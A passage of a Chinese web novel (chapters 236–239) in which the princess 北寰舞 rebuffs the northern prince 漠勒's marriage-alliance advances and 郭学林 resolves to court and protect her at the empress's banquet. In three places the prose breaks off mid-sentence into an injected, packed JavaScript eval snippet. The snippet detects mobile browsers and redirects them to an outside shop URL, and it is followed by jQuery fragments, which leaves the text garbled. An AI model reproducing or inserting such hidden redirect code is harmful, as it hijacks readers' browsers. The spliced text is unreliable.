北寰舞勒停马,回眸看向漠勒。 漠勒道:“方才城门口那拖车一跃,当真是好看得紧。也不枉小王故意赶那车夫去挡郡主的道。” 北寰舞勒马回身,漠勒也调转马头,一脸笑意看着北寰舞。 漠勒年纪不大,不过十九。 可他留着胡须,不修边幅,看上去五大三粗与许都里的这些贵公子格格不入。 北寰舞讨厌这种看上去面相就很老的老男人。 她没想过方才那是漠勒故意为之,现在知道了就不能忍了。 236. 说法 “三王子谬赞。” 北寰舞缓缓回头望向他眼眸里带着阴寒。 漠勒驱马,让马缓步走到北寰舞身边,轻声道:“郡主还未婚配吧?” “这才几日,三王子就转了性子?”北寰舞睨着他,语气淡漠,“是嫡公主许思入不了三王子的眼,还是三王子从一开始来的目的就是我呢?” 看北寰舞跟一把锋利的刀子似的,见什么都能割开外表窥见内里,漠勒高兴得很。若是跟这姑娘合作,肯定比那个养在深宫里什么都不懂的娇滴滴的公主愉快。 “小王来和亲,能娶嫡公主是好,娶不了嫡公主,娶个郡主也是好的。”漠勒伸长了脖子,往北寰舞身前凑,“论长相,长乐郡主可比嫡公主美多了。” 漠勒凑过来,北寰舞就闻见了他身上那股带着膻味牛羊味,难闻得很。 北寰舞蹙眉,眼眸一眯:“三王子从草原来,这骑术肯定比我强,让本郡主学习一二,可好?” 漠勒大笑:“这还不简单吗?只要郡主跟我回北地,我们草原上的儿郎各个都会骑马。” “哦?”北寰舞眼睛望着漠勒,忽然扬起皮鞭狠狠一鞭抽在漠勒的马上,黑马一声嘶鸣,立即狂奔起来。 漠勒根本没有准备,被马带着到处乱跑。 漠勒到底年纪不大,在乌族是被宠着长大的。马儿猛然被北寰舞这么一抽发狂厉害,他根本控不住。 跟在漠勒身边的护卫都顾不得北寰舞,纷纷调转马头去追自己的主子。 跟着北寰舞的暗礁姐姐们看见漠勒如此狼狈被马儿颠来颠去,纷纷捂嘴轻笑。 北寰舞眯起眼眸,轻啐了一声,冷笑道:“就这点本事,还敢来许都和亲,妄图掌管乌族众部落。” 漠勒之蠢,北寰舞今日才看见。 他不仅蠢,还心思阴邪。 方才他故意赶车夫挡她,就已窥见品行。 北寰舞心中顿时就多了几分对漠勒的防备。 漠勒的马跑了好远才停下来,等漠勒再回头找北寰舞,哪里还看的见人影? 这小姑娘比他想象的还要锋利。 只要看一眼,就要付出被明艳割伤的代价。 “有意思……”漠勒望着许都城门,“小王就喜欢训野马。” * 北寰舞前脚刚进临府,后脚就有内官来送宫里的请帖。 这帖子是皇后娘娘送的,说是请北寰舞进宫小叙。 这哪是小叙,这明明就是鸿门宴。 万寿节过了,各国使臣已经陆续回国,只有漠勒赖在许都不走,和亲这事一定要有个说法。 漠勒的目标是嫡公主,萧皇后肯定不会让自己女儿嫁到北境荒寒之地,所以她不惜放下身份,也要请北寰舞进宫。 方才北寰舞觉得漠勒这人蠢,现在她可不怎么想了。 漠勒这人是大智若愚,陛下给他接风洗尘的那场宴席上,他从一开始的目的就是故意去找嫡公主逼皇后为他做媒,让他有机会接近她。 这宴席,去与不去都是麻烦。 北寰舞拿着请帖,若有所思往蕊仙殿走。 早就有人把北寰舞接到皇后请帖传给北寰言,北寰言顾不得许多,立即骑马从大理寺往回赶。 路上北寰言听人闲话,说是今日漠勒在城门外见过长乐郡主,差点就被郡主一鞭子抽死了。 北寰言眉宇微蹙,满眼疑惑。 小舞性子虽然不羁,但做事知道轻重,怎么会拿鞭子抽漠勒? 北寰言一路狂奔回去,见了北寰舞才弄清楚这事情原委,委实吓了一跳。 “哥……我不舒服……”北寰舞窝在软塌上,抱着肚子,“我不想去赴宴。” 北寰言蹙眉道:“这是皇后的帖子,你躲了这次还有下次。看漠勒那样,他根本不着急回去。” “你没见漠勒那个无耻样!”北寰舞气得翻起身子,“他故意赶拖车去当我的路!我若不是骑术了得,早就摔得半身不遂了!这种小人,陛下怎么看得上?!他比郭学林都差远了!好歹郭学林算计我,都在明面上,是君子阳谋。他呢?他是小人阴险!” “漠勒现在还没说要你去和亲,”北寰言想着,“皇后也没明说这场宴席是撮合,你这样平白无故拒了,太驳皇后娘娘的面子了。” “这逃的掉吗?” 北寰舞无语,这不是明摆的事。 就和亲这事,北寰言还没想到一个万全之策。 “公子,郡主,郭公子来了。”蕊仙殿的姐姐来传话。 北寰言看了一眼北寰舞,北寰舞道:“带他过来罢。” 这是郭学林第一次进北寰舞的住所,这里建得极其奢侈,跟后宫正殿一般的规格,可见许景挚对北寰舞的宠爱。 一进院门,郭学林就闻见一阵甜甜香味,那是北寰舞身上的味道。 郭学林心跳加速,耳鬓微红。如今他身着翰林院官服,束冠而来,耳鬓红到耳根。蕊仙殿伺候的姐姐们看见,纷纷捂嘴轻笑。 这一笑,郭学林耳朵就更红了,他知道蕊仙殿里的姐姐都没有奴籍,各个身怀绝技。看她们凑在一起笑,只能连连作揖,求各位姐姐饶过。 稍微年长些的姐姐给那几个年纪小的使了个眼色,让她们收敛些,迎上来,向郭学林福了福身子:“郭公子,这边请。” “多谢……”郭学林抿着唇,跟着侍女到了北寰舞主的殿阁。 北寰言在门口迎他,郭学林看见北寰言不禁加快脚步。 “怎么回来了?” 北寰言接到郭学林,跟着他一起往里走。 郭学林回道:“纵尚那边第一轮整改已经结束,效果不错,他很快就要回来述职。” 北寰言静静地听着。 郭学林又道:“纵尚很有能力,也有手腕。对下亲民,对上一力承担。整改的事办得很快,江南漕运一线的漕帮、河盗全部都已经解散,回到村子里重新造册成为漕工。他确实是个当官的料,这次回来述职,若不是升无可升,恐怕又是青云直上。” 两人已经进了蕊仙殿正殿。 北寰言请郭学林坐下道:“那江南漕运沿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235036|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线,成为河盗的漕帮,上峰本就是纵尚,他去遣散,言明既往不咎,只要从新入漕工户籍,好好干活,还有工钱拿,相当于大赦天下,何人不服?他早就替他稳固工部侍郎这个位置做了功课。那烂摊子只能他去收……拾。” 北寰言说到这的时候,眼眸微睁,似是想到了什么。 “当真是一匹黑马,以前不显山不漏水,看不出来。现在看出来了,已经平步青云,按不住了。”郭学林感慨,“东陵官场,从来没有人跟他一样,入仕这么晚,升得这么快。” “怎么没有?”北寰舞声音从后殿屏风处传来。 郭学林想要起身行礼,却被北寰言拉住:“在我这里,就免了这些虚礼。小舞她不在意这个。” 北寰舞把之前骑马的劲装换成了经常穿的裹胸丁香紫的罗裙,墨发披在身后,头上只缀了一点西域进贡的紫玉,额头花钿缀有金沿,贯是那副金尊玉贵的模样。 她款款而来,拉起裙摆也跪坐在矮桌前:“哥哥不就比纵尚升得快?” 郭学林不跟北寰舞争这些,只是颔首一笑。 蕊仙殿的侍女们奉了三盏茶来,又捂嘴推搡着退下,北寰舞看着奇怪,给殿里候着的那些年长的姐姐们一个眼神,让她们管管这些年纪小的丫头。 年长的姐姐们会心一笑,连忙把那几个不懂事的小丫头赶出去吃点心。 “郭公子喝茶,”北寰舞似笑非笑地看着他郭学林,“你回来就来临府找我们,中书令没意见?” 话没说开之前,郭学林耍无赖惹得北寰舞气的看他就烦。可现在话说开了,倒是郭学林不敢再那般说话没轻重。 他垂眸道:“我其实是为了郡主回来的。” 北寰舞睨着他,不说话。 郭学林低声道:“万寿节已过,漠勒不走,萧皇后不会让自己的女儿嫁给漠勒。郡主的婚事迫在眉睫。” “确实。” 北寰舞拿出皇后请帖,放在桌上,推给郭学林,手腕上的小金铃叮叮当当的。 郭学林只看一眼这姑娘白嫩的手,就觉得耳根发软,连忙拿起请帖看了一眼。 这是鸿门宴。 郭学林抿着唇沉思片刻道:“我陪郡主入宫赴宴罢……” 北寰舞微微一愣,她没想到郭学林会这么说,毕竟她直白地拒绝了他定亲的请求。 那日她说起自己与时均白那些旖旎的过往,郭学林躲的动作已经表明了他的心意。 他明明很介意自己与时均白的过往,怎的去了一趟江南漕运回来就改了性子? “郭公子以什么身份陪我去呢?”北寰舞蹙眉。 “可以什么身份都没有,只当是朋友。”郭学林也蹙起眉,深吸一口气,“也可以有身份,全听郡主吩咐。” “上次我们已经讨论过这事了。”北寰舞道,“中书令家风严谨,郭公子若是私下与我定终身,闹得人尽皆知,日后我却没有履行婚约,中书令不敢来找我,却肯定要罚你的。” “祖父心疼我,即便是罚,也不会太狠。”郭学林认真道。 237. 喜欢 北寰舞望着郭学林,心道,他去了一趟江南漕运督查,算着各国使臣回国的日子就回来了。那日摊牌以后,原本他心里有一道坎,出去这一个月,他好像是想明白了。 “你……”北寰舞略有迟疑。 郭学林生怕北寰舞又拒绝自己,立即道:“我就是陪郡主入宫赴宴,只是这个陪,就可以帮郡主挡很多事。” 北寰舞没见过郭学林对什么事这么执着,求助地看向北寰言。 北寰言似乎在想事情,注意力根本不在他们俩身上。 若是放在以前,郭学林那逢人三分算计,三分疏离,三分客套的样子她倒是可以肆无忌惮地怼回去。 可现在,看他的表情,他是认真的。 北寰舞颔首,望着衣袖上一片霞红,她顺手就摸到了时均白那日悄悄塞给她的那块红玉。 她沉默了几息之后,下了决心。 “这事……”北寰舞抬眸,“多谢郭公子好意。” 郭学林眼角瞬间就红了一圈。 他从来没有在哪个姑娘那吃过这种苦。以前他去谁家府上做客,府上适婚的姑娘们总要找个由头到哥哥们的宴席上露露脸,见一见他。 有些胆大的姑娘会来跟他搭话。 可说不到两句,那姑娘便羞得不敢再说,只能退下。 郭学林自小就知道自己日后若是婚配,一定有不少大家闺秀供他选择。 可他偏偏一眼就看中了那日傍晚,在公主府躲在后花园里,游亭里小憩的姑娘。 不为模样,只为她那种悠闲自在的状态。 他从来都没有见过这样自由的人,他的人生早就被那些迂腐的条条框框圈死了。他再生气,也不能忤逆了祖父。再难过也不能表现太过明显,因为祖母知道了,会跟着他一起难过。 所以他看见这样自由随性的人,就不自觉想要靠过去。 他清楚地记得,那日遇见北寰舞的时候晚霞如火,那坐在游亭里披着晚霞的姑娘,睡眼惺忪的样子。 那时候他听见自己内心的渴望——如果离她近一点,是不是他也能获得自由呢? 这是他第一次想要努力得到什么姑娘的青睐。 可他没想过,自己这般卑微的祈求,都无法让这个姑娘看他一眼。 “是我……唐突了郡主。”郭学林说罢便起身,“我回去了,家里还有事……” “郭公子……”北寰舞跟着郭学林一起起身,“我送你……” 郭学林保持了良好的教养,回身一礼:“多谢郡主好意,郡主留步罢。” 北寰舞蹙眉,看着郭学林转身逃一样地走了。 “哥哥……”北寰舞看着郭学林如此,心里不是个滋味,“我好像让他难过了。” 听见北寰舞唤他,北寰言才回过神来,发觉郭学林已经走了。 “他怎么走了?”北寰言疑惑地问。 北寰舞轻叹一口气,摇摇头。 * 郭学林出了临府,上了马车,眼泪还是不争气地掉了几滴。 他没想过自己一生顺遂,竟然会遇见情劫。 他去江南漕运督查的那段时间,仙州城的刺史与各级官员,知道他是郭府嫡长孙,纷纷想尽办法巴结讨好。 宴席上,有江南这一带温婉姑娘吟诗作赋,才华横溢。有国宴琴手,在旁献曲。 那些当官的总是喜欢这些雅的东西。 郭学林却看着无趣。 入夜,有刺史府里养的瘦马来伺候入睡。风情万种过了,总让人觉得腻得慌。 郭学林一个都没要,全部退了回去。 若是放在以前,他万万不会推辞。 不过就是逢场作戏,离了这里便不会再有交集。可现在他就是过不去那个坎,总觉得自己在背着谁做不好的事,有一种负罪感。 他听见北寰舞说她跟时均白的事的时候,下意识地避开了北寰舞的亲近。 那是他始料未及的。 他知道就是他那一躲,才让北寰舞下定决心不再与他有任何纠缠。 下意识地反应,就是心底最真实的想法。 他嫌弃她与其他男人有过肌肤之亲。 郭学林后知后觉,看见北寰舞眼里的决绝就知道自己根本不可能在靠近这个姑娘了。 郭学林代陛下督查在仙州城的无数个夜晚,不断地回想那日他那个闪避的动作,想到气极的时候,他恨不得扇自己一巴掌,一直问自己为什么会躲开。 他只觉得自己喜欢的还不够深。 他反思过许多个夜晚之后,偶尔听仙州城刺史说起他的夫人。 是他的嫂嫂。 这本是一个俗的不能再俗的故事——青年人去科举,心爱的人与自己哥哥订了亲。他考取功名回来,却看见哥哥牵着她的手,要他叫她嫂嫂。 他不肯叫,甚至连订婚宴都不参加。 他几乎日日买醉,手抖得连笔都拿不起来。 哥哥与心爱之人新婚那日,晚上洞房的时候,哥哥竟然突发疾病死了。只留一个衣衫不整嫂嫂坐在床上无措地哭泣。 新婚丧夫,她悲痛欲绝。竟然当日就要寻短见。 他怎么能看自己心爱的人就这么死了,终于经过了一番的纠结之后,他走过去,毅然决然地抱住了嫂嫂,说,以后万事有他。 那是一个极其难熬的岁月。 心爱之人对前夫的忠诚,让他不得不退避三舍,守礼守节。 终于在他升迁离开那个县城到其他地方以后,同僚得知他二十五尚未成婚,便忙着要给他做媒。儿时的两情相悦与多年的照顾之情终于让他的嫂嫂情动不能自已,最后从了弟弟。 郭学林不好意思地问:“王刺史,您不介意您夫人,跟你哥哥……” 王晋笑得畅然:“若是真的喜欢,就会将心比心。我若成婚丧妻,再娶一个夫人回来,你说这新进的夫人,会不会对我往事心有嫉妒?介意是正常的,因为喜欢,才介意不是吗?” 因为喜欢,所以介意吗? 郭学林愣愣地望着王晋。 王晋又道:“这世上的事,哪有事事都很完美的呢?谁都不知道自己天命几何,有机会在一起的时候,就在一起,活在当下才是最重要的事。” 那一晚,郭学林好像想明白了。 将心比心来说,北寰舞并没有欺瞒他什么。哪怕她与时均白分开了,她对他也是赤子之心。 而他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260110|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 介意,只是因为喜欢,想要一个完整的她。 不是一个完整的她,他就不喜欢了吗? 郭学林想着,只要再见一面北寰舞,就知道了。 今日他回来,见到她,心跳地无法抑制就知道答案了。 还是喜欢啊。 所以哪怕她有过一段情史,他喜欢的也还是她啊。 那种自由,是根植在他心里的神往。 * 马车带着郭学林回了郭府,他回屋洗漱一番,洗掉一身的风尘便去郭睿明书房跪下请罪。 郭睿明蹙眉,望着郭学林一言不发。 郭学林俯身给郭睿明磕了一个头:“祖父,我想娶郡主。” 郭睿明沉默了好一会儿才开口问:“你是真的想娶还是只是想帮郡主脱困?” 郭学林回道:“都行。只要这段时间,我与郡主有婚约在,漠勒就只能另寻他人。” 郭睿明一口气差点没喘上来。 自从遇见了北寰双子,他这个在一直走在正道的孙子留开始处处与他作对,处处忤逆。 他想娶郡主,也不看看北寰舞想不想嫁他。 他想利用自己的婚约帮郡主脱困,也不想想这事了了以后,若是这婚事没成,他郭家就要成为全许都的笑话。 而他郭学林日后说亲的对家身份都要自降一等。 郭学林这是拿着他对他的宠爱,来跟他谈条件。 很明显,若是这事不答应郭学林,日后与他有关的事都不好办了。毕竟郭睿明迟早都要致仕,而郭学林现在进入翰林院迟早都要封官成为东陵宰相,成为郭家的顶梁柱。 这是无声的威胁。 只有郭学林才能对位高权重的右相施压。 他连迂回都不想用了,他直接想用自己未来的官位、郭睿明对他的宠爱来达到自己的目的。 上次郭睿明打过郭学林,郭学林宁可跪祠堂也不认错的时候就已经知道了一个事实——这孩子身上有反骨,以前他只是没遇见想要争取的事,所以才恭敬顺从。现在他只要有自己想要做到的事,这反骨就会立即显现出来。 权谋之策,拿捏人心,郭学林当真是学得好,这孩子是郭睿明自己教出来的,而今他真不知道是该生气,还是该笑。 “你要我去求娶郡主,也该有个过程。”郭睿明缓缓道,“你跟郡主在官面上可都没见过几次面。” “明日晚上后宫摆宴,皇后娘娘宴请郡主,我也想去。”郭学林道。 郭睿明蹙眉:“后宫摆宴,都是女眷,你如何去得?” 郭学林回道:“若是漠勒去,我就一定能去。漠勒一个外国之人都能去后宫,我一个天子内臣,为何去不得?” 郭睿明头疼。 这孩子是打定主意要去护北寰舞周全。 真不知道北寰舞哪里好,除了模样是许都里一等一的,其他姑娘家闺阁学的东西,她可一样都不会。 今晨还骑马在朱雀大道上奔袭,在城门口与漠勒起了口角。 哪有一个大家闺秀的样? 这样一个静不下来的姑娘,到底哪里好? 郭学林一直俯着身,只要郭睿明不同意,他就不起来,意图何其明显。 238. 鸿门宴 孩子大了,只是用家法根本教不过来,他有自己想法。 郭睿明长叹一口气,道:“这事,容我想想。” 郭学林见祖父松了口,立即又拜了一下:“那就劳烦祖父帮我出主意了!” * 第二日退朝以后,郭睿明舔着老脸,去御书房拜见陛下。 许久不见郭睿明来御书房,看见他一步一缓地走来,许景挚还有点不习惯。 “臣,拜见陛下。”郭睿明微微欠身。 许景挚让他起来:“中书令何事?” 郭睿明苦笑着跟许景挚说:“郭学林这孩子,听闻晚上后宫要宴请三王子漠勒,跟臣说他也想去。这孩子最近在学乌语,有好些与民俗有关的事,他不明白。想着若能得三王子指点,肯定学有长进。” 郭学林想要学乌语,还用得着专门去找漠勒? 这老狐狸肯定有事。 许景挚望着郭睿明不说话。 郭睿明只能继续硬着头皮说:“臣想着,无论什么宴席也是两国邦交的事。后宫不懂朝政,有一个懂的人在边上,万一有了什么疏漏,也好及时补救。学林这孩子酒量不错,可以陪三王子痛饮几杯。” 郭睿明这话说的极其聪明。 他不会拿郭学林的婚事作注,他也没攀附安王府的心思。 最近发生了这么多事,桩桩件件都跟北寰言有关,他不可能在明知道安王府有问题的情况下还把自己孙子推进去。 郭学林要去后宫宴席,保北寰舞,那便让他去。 国策在前,岂是他一人心思就能改变的。 除非北寰舞也有借他婚事逃过此结的心思。 郭睿明虽然不知道北寰舞什么想法,但是他知道,私下郭学林肯定去找过北寰舞说起婚约这事。若是北寰舞愿意,郭学林就不会回来跪那求他。 许景挚何其聪明,他如何看不出郭睿明其实是来替郭学林说话的。 皇后宴请漠勒与北寰舞的事,跟他说过。 他默许了。 现在漠勒求娶嫡公主许思这件事朝野上下皆知。可这段时日早朝上,根本没人提和亲的事。 按道理来说,与邦国和亲是大事,不可能这么多天了还无人提及。 许景挚觉得这是皇后本家萧家四处游说的结果。 萧家这两代虽然都没出一个高官,可他们老一辈的那些关系都还在。 只是不提让嫡公主去和亲的小忙,朝臣还是愿意帮的。 许景挚与萧皇后有言在先,萧皇后不能有嫡皇子,所以在任何事上,许景挚都亏欠萧皇后一分。 她不想自己的女儿去和亲,便要别人家女儿来替。 乌族狼子野心,极其不安分。 若是他在位期间能把北境草场那片土地也给收回来,那便是东陵后世之福。 他是这样想的,他相信安王府那两个人也是这么想的。 为了后世福泽,北寰舞身为安王府的郡主,皇族血脉,必须承担起家国兴亡大任。这是他们皇族唯一的使命,他相信许安归会理解他的。 可现在郭学林的心思何其明显,上次公主府舍命救北寰舞的事闹得沸沸扬扬。现在又要去合宫夜宴护北寰舞周全。 明显就是喜欢。 平心而论无论是嫡公主许思还是北寰舞,许景挚都不想让她们去与乌族和亲。 但许思养在深宫里,心思单纯。北寰舞养在宫外,有许多老师教她百家之术,她自小就聪明,跟她娘一样,有一百个心眼。这两个人若是必须选一个送去和亲,和亲结束以后,还能完璧归赵的,必然只能是北寰舞。 若是随便从宫里选一个宫女封了公主嫁过去,这不保险。 谁能保证这人有通天的本事能跟东陵里应外合,收了北境乌族的草场。 郭学林那么聪明,能一眼就看出漠勒来贺寿是为了和亲回去夺权。怎么就看不出来他想借机收复北境乌族的土地? 选谁去和亲这事其实就是摆在明面上的答案,但许景挚一直拖着不肯回复,还有些顾忌。 暮云峰上那两个人难道没有接到藏息阁的消息? 自己女儿是和亲的最佳人选,他们俩竟然一点也不着急? 万寿节之后,安王府一点动静都没有,这不正常。 若是安王府再不送来消息,他就只能按照自己心中的计划执行了。 无论怎么做都不可能改变北寰舞是最佳和亲人选这个事实,所以顺水推舟给郭学林一个人情,他还是愿意的。 “学林有这份心思,孤心甚慰。”许景挚道,“这事,孤许了。” 郭睿明谢过陛下,便退下了。 郭学林在翰林院里来回踱步,等消息。 看见祖父派人来送口信,立即迎上去。 听过消息之后,郭学林欠身一礼,把人送走,立即回翰林院把今日工作做完,早早地便回府去准备晚上的合宫夜宴。 * 北寰舞今日懒得很,一想到晚上要去应酬就浑身不舒服。 她醒了就没起,一直趴在床上发呆。 和亲。 身为皇家女,她不是没有想过。 尤其是她及笄之后,若不尽快定下一门亲事,等的时间越长,她的婚事变数就越大。 成婚啊…… 北寰舞翻了个身,仰着面,把胳膊搭拉在额头上。 忽然眼睛一酸,眼泪就流了下来。 怎么办啊,暮风。 好像等不到事情结束,再回去找你了。 “主子,晚上入宫你要穿什么衣裳啊?”蕊仙殿姐姐见日上三竿了,北寰舞还没起,就来喊人。 北寰舞连忙把眼泪擦干净,坐起来回道:“随便罢。” “主子这是怎么了?”蕊仙殿的姐姐来看见北寰舞眼眸微红,连忙坐在床前摸了摸她的头,“生病了吗?” “没有……”北寰舞连忙摇头。 姐姐笑得好看:“快起来吧,都快到午正了。晚上进宫兴许会有好事发生呢?” 北寰舞长长地出了一口气:“姐姐,我好羡慕你们啊……没人逼婚。” 用完午饭,北寰舞磨磨蹭蹭梳妆打扮,弄好也到了进宫的时辰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273778|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 出门的时候,正巧碰见北寰言从大理寺回来。 北寰言看见北寰舞换了宫装,准备进宫,担心地问:“要不要我陪你进宫?” 北寰舞摇头,头上的步摇被她摇得丁零当啷,一点都没有大家闺秀的样。 “陛下这次若是铁了心要你和亲,多半也是为了后面北伐的事。”北寰言道,“到时候可能就是边境大战……我倒是不担心漠勒会对你如何,你若不想,他也不敢。我只担心你以后有了和亲的名头,会不好嫁。” “那我就不嫁了。”北寰舞轻笑。 “嗯。”北寰言道,“以后你若不嫁,跟我住,我养你就是。” 北寰言站在府门口送北寰舞上马车入宫,愣了好久才回过神来,回自己院子。 * 这宴请本来设在咸宁殿,后来许景挚派人来说,郭学林有事要请教漠勒。郭学林是外男进不了后宫,这宴席就只能安排在后花园杏花苑边上的水阁。 这里种的满是杏花,夏末的时候,杏花苑里枝叶繁茂。走在青石板的小路上,层层树梢遮天蔽日,看不到深处的殿阁。 北寰舞缓步而行,还没进入水阁,就先看见等在外面的漠勒。 昨日那一鞭子没把他马抽疯,已经算是她手下留情。 北寰舞冷冷一哂,这人还真是,不怕死。 这段时日漠勒好像打听过许都女儿家的喜欢的什么样的男子,今日来,他竟然把他蓄的胡子给全部都剃了。 十九岁的年纪,少年身段,又是长在边关草野上的汉子,不比许都这些贵公子精致,但有一种草原上独有的狂放之姿。 这样的漠勒,倒像是为了讨好北寰舞,入乡随俗一般。 北寰舞看见漠勒便停了脚步,转身便要从别处去杏花苑。漠勒早就看出北寰舞的心思,在她要转身的时候,先一步出声:“小王已经在此恭候郡主多时了。” 北寰舞翻了一个白眼,无奈地转过身,似笑非笑地望着漠勒:“这人是谁?我怎么没见过?” 漠勒自己也摸了摸光秃秃的下巴,笑道:“第一次剃胡须,我也不太习惯。” “何必呢?”北寰舞调侃,“本就是利益相合的事,又不是真的有什么感情。三王子何必多此一举?” “我听闻郡主喜欢长相清秀的男子。”漠勒耳后有一根小辫儿,耳朵上打着银色耳环,“我这不是努力想要郡主喜欢我。” “听闻?”北寰舞挑眉,“不知道你这听闻是从哪里听的?” 漠勒笑道:“我自然有我的打听途径。” “那你包打听那个人有没有给你说过,”北寰舞缓步朝漠勒走去,“我这人一向嚣张跋扈,遇见不喜欢的人,连一个好脸色都不会给。我管他是公子王孙,还是公主朝臣。” 漠勒笑盈盈地看着北寰舞,他就喜欢这种性子野的姑娘。北寰舞跟草原上的狼比起来,顶多算是长了爪子的小猫。 北寰舞掠过漠勒的身边,漠勒便自然而然地跟着与北寰舞肩并肩一起往水阁去。 “我怎么觉得郡主对我有这么大的敌意?”漠勒轻笑。 239. 赴宴 北寰舞不想看他,目不转睛地盯着前方青石板路:“十七年前岩州城下乌族与东陵一战,你忘了我还记得。狼子野心,装什么好人。” “郡主这话说的,”漠勒道,“父辈的事,岂是你我能做决定的?要不是当初你父亲把这东陵皇位拱手相让,今日也轮不到郡主明明不愿意,却还是要进宫与我在这里虚与委蛇?” “漠勒!”北寰舞侧身怒道,“这里是东陵皇城,你说话做事,要谨言慎行!” “怎么了?”漠勒不懂,“我不过就是说了句实话,郡主为何忽然如此生气?” 北寰舞深吸一口气压住怒意。 乌族就是不懂这些权谋之策,当年才被母亲谋略驱使,被父亲帅兵一路驱逐回北境草场。 十七年过去了,乌族依然没有建立起自己有序的王朝。 如果这个王朝有序,今日就不会有漠勒出使东陵,要借助东陵力量夺回乌族大权这回事。 乌族人向来都比东陵人要高大,这种高大不仅仅是身高的优势,就连体魄也比东陵人强壮。 漠勒站在北寰舞身前,北寰舞个子才到漠勒胸口。他横宽的上身,竟然是北寰舞身宽三倍。 北寰舞在漠勒面前,真正当的起弱柳迎风。 漠勒对北寰舞的身高体型压迫是与生俱来的,任何人在面对比自己强大的事务面前,都会心存畏惧。 北寰舞见漠勒靠过来,身体下意识变得僵硬。 “郡主身上好香啊。” 漠勒炙热的眼神直勾勾地盯着北寰舞。 北寰舞哪里见过这样放肆的人,当即红了脸,轻喝道:“非礼勿视这句话不懂吗?” “不懂啊……” 漠勒向前一步,逼得北寰舞往后退了一步。 “我虽然会东陵话,可东陵学识还未开化。”漠勒眼眸微眯,又逼近一步。 北寰舞又下意识地后退一步。 “郡主若是愿意教我,我自当好好学。” 漠勒又往前走了一步,北寰舞再退才发觉自己已经退出青石板路的范围,一脚踩空,整个人都向后倒去! 漠勒眼眸微睁,似是早有预料,抢一步上前,想要揽住北寰舞腰身。 盈盈一握的感觉,一定很舒服吧? 漠勒眼睛里透出饿狼的光。 一道蓝影一掠而过,眼前这个人,竟然凭空不见。 漠勒侧头才看见一个文弱的男子揽着北寰舞的肩膀,站回青石板路,低头轻声问:“没事吧?” 北寰舞回过神,才发觉自己已经不知不觉得抓住了郭学林衣襟。 “没事……” 北寰舞蹙眉,是她的错觉吗? 郭学林轻轻扶着北寰舞,看她站好才松了手,撩起衣袖,才眉目清冷地向漠勒作礼:“翰林学士郭学林,见过三王子。” 漠勒没见过郭学林,却也知道翰林学士这个称号在东陵只有学识渊博的少数那几个人才能拥有。多半都是科举出身的状元郎。 漠勒打量着郭学林,这人身形偏瘦,个子在东陵人里不算矮,但还是矮他一个头。 唇红齿白,皮肤比他这种成日里在草场上风吹日晒的汉子要细腻得多。 一副温润如玉的模样,是草原上从来没见过的淡雅。 漠勒见北寰舞一直盯着这人,心里就明白了几分。 情敌。 难怪宴席地点突然改了地方,原来是因为有外臣要出席。 郭学林…… 他记得东陵右相,中书令就是郭姓。 这人来头不小。 郭学林见漠勒不答,也不恼,只说:“宴席要开始,误了时辰,皇后怕是要怪罪。” 北寰舞还在愣神,漠勒却已经转身,大笑往水阁走去。 郭学林见漠勒已经走了,便回过身看北寰舞,只是静静地看着她,没催她。 北寰舞蹙眉,抿着唇好久才回过神,道:“我们,进去罢。” “好。”郭学林做了个请的姿势,让北寰舞先走。 北寰舞平复了下心情,整了衣衫,一种奇怪的感觉涌上心头。 她不敢在看郭学林,只能低头快速往水阁去。 这宴席极其简单,像是家宴,只有正座,与座下的三个位置。 后面则是安排了一圈漠勒随侍人员的方桌。 所有人坐定以后,萧皇后才款款而来。今日的萧皇后不如平日里看上去那么雍容,唇色浅薄,眼下乌青,看上去这个人都不精神。 果然,宴席刚开始没多久,萧皇后就以身体不适退席了。 留下漠勒、北寰舞、郭学林三个人在场。 今日若是郭学林不来,那便是只有漠勒与北寰舞两人了。 皇后病容,北寰舞不敢揣摩其心思。 但现在这个局面,着实很尴尬。 坐在一侧的郭学林倒是从善如流,皇后退场,他更自在。 漠勒没想到今日原本是他与北寰舞独处的时机,竟然会被人搅了,顿时心生不满。 “郭学士,善酒吗?”漠勒轻笑着问。 郭学林抬眸,淡淡道:“尚可。” “今日初见郭学士,也是缘分,我们乌族人喝酒先走三个。郭公子可敢跟?”漠勒说这话的语气轻蔑。 郭学林一点也不含糊拿起酒杯道:“我奉陪。” 谁知漠勒望着郭学林拿酒杯的手,连连摇头:“哎,郭学士,我们说的走三个,不是酒杯,是碗啊。” 漠勒拿起手边的碗,示意用碗喝三个。 北寰舞蹙眉。 郭学林只是一愣,便当即反应过来,漠勒这是仗着自己特使的身份想要强人所难。郭学林也不含糊,当即就换了碗。 